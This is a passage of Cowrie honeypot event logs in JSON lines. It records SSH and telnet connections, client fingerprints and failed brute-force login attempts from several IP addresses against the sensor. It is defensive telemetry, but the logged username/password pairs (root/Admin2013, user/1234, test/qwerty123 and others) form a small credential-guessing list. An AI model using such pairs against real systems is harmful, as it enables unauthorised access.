[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:13.649005Z","src_ip":"27.71.230.31","session":"c679b3490262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34724,"dst_ip":"159.203.135.109","dst_port":22,"session":"d50f465132bd","protocol":"ssh","message":"New connection: 91.92.42.133:34724 (159.203.135.109:22) [session: d50f465132bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:14.148688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:14.464695Z","src_ip":"91.92.42.133","session":"d50f465132bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:14.468918Z","src_ip":"91.92.42.133","session":"d50f465132bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:15.544570Z","src_ip":"91.92.42.133","session":"d50f465132bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2013","message":"login attempt [root/Admin2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:16.683798Z","src_ip":"27.71.230.31","session":"c679b3490262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:16.859803Z","src_ip":"91.92.42.133","session":"d50f465132bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:18.764377Z","src_ip":"27.71.230.31","session":"c679b3490262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47268,"dst_ip":"159.203.135.109","dst_port":22,"session":"38afcf32faaf","protocol":"ssh","message":"New connection: 91.92.42.133:47268 (159.203.135.109:22) [session: 38afcf32faaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:22.166033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:22.240010Z","src_ip":"91.92.42.133","session":"38afcf32faaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:22.334907Z","src_ip":"91.92.42.133","session":"38afcf32faaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:23.301316Z","src_ip":"91.92.42.133","session":"38afcf32faaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:24.467476Z","src_ip":"91.92.42.133","session":"38afcf32faaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54828,"dst_ip":"159.203.135.109","dst_port":22,"session":"2880ac497b04","protocol":"ssh","message":"New connection: 91.92.42.133:54828 (159.203.135.109:22) [session: 2880ac497b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:29.167176Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":20680,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d7c5953dce0","protocol":"ssh","message":"New connection: 178.20.210.208:20680 (159.203.135.109:22) [session: 5d7c5953dce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:29.344869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:29.361886Z","src_ip":"178.20.210.208","session":"5d7c5953dce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:29.442897Z","src_ip":"178.20.210.208","session":"5d7c5953dce0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:29.461958Z","src_ip":"91.92.42.133","session":"2880ac497b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:29.464857Z","src_ip":"91.92.42.133","session":"2880ac497b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vincent","password":"vincent","message":"login attempt [vincent/vincent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:29.822246Z","src_ip":"178.20.210.208","session":"5d7c5953dce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nD6ffS9msOngs","message":"login attempt [root/nD6ffS9msOngs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:30.840406Z","src_ip":"91.92.42.133","session":"2880ac497b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:30.921010Z","src_ip":"178.20.210.208","session":"5d7c5953dce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:31.963505Z","src_ip":"91.92.42.133","session":"2880ac497b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57506,"dst_ip":"159.203.135.109","dst_port":22,"session":"d57c8e688bc6","protocol":"ssh","message":"New connection: 91.92.42.133:57506 (159.203.135.109:22) [session: d57c8e688bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:37.243893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:37.271600Z","src_ip":"91.92.42.133","session":"d57c8e688bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:37.375319Z","src_ip":"91.92.42.133","session":"d57c8e688bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty123","message":"login attempt [test/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:38.185083Z","src_ip":"91.92.42.133","session":"d57c8e688bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:39.813426Z","src_ip":"91.92.42.133","session":"d57c8e688bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58862,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffb04b2a71c3","protocol":"ssh","message":"New connection: 91.92.42.133:58862 (159.203.135.109:22) [session: ffb04b2a71c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:44.874449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:45.013264Z","src_ip":"91.92.42.133","session":"ffb04b2a71c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:45.016384Z","src_ip":"91.92.42.133","session":"ffb04b2a71c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:46.637694Z","src_ip":"91.92.42.133","session":"ffb04b2a71c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49390,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ea12d3e583","protocol":"telnet","message":"New connection: 94.23.66.112:49390 (10.17.0.5:23) [session: 94ea12d3e583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:47.409090Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:47.884777Z","src_ip":"91.92.42.133","session":"ffb04b2a71c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50770,"dst_ip":"10.17.0.5","dst_port":22,"session":"08fd090d5a37","protocol":"ssh","message":"New connection: 194.113.233.25:50770 (10.17.0.5:22) [session: 08fd090d5a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:50.498444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:50.501121Z","src_ip":"194.113.233.25","session":"08fd090d5a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:50.593282Z","src_ip":"194.113.233.25","session":"08fd090d5a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc789","message":"login attempt [root/zxc789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:50.871329Z","src_ip":"194.113.233.25","session":"08fd090d5a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:51.968722Z","src_ip":"194.113.233.25","session":"08fd090d5a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58914,"dst_ip":"159.203.135.109","dst_port":22,"session":"44f2eea75bb3","protocol":"ssh","message":"New connection: 91.92.42.133:58914 (159.203.135.109:22) [session: 44f2eea75bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:52.296349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:52.883956Z","src_ip":"91.92.42.133","session":"44f2eea75bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:52.889977Z","src_ip":"91.92.42.133","session":"44f2eea75bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:53:54.532226Z","src_ip":"91.92.42.133","session":"44f2eea75bb3","protocol":"ssh"}
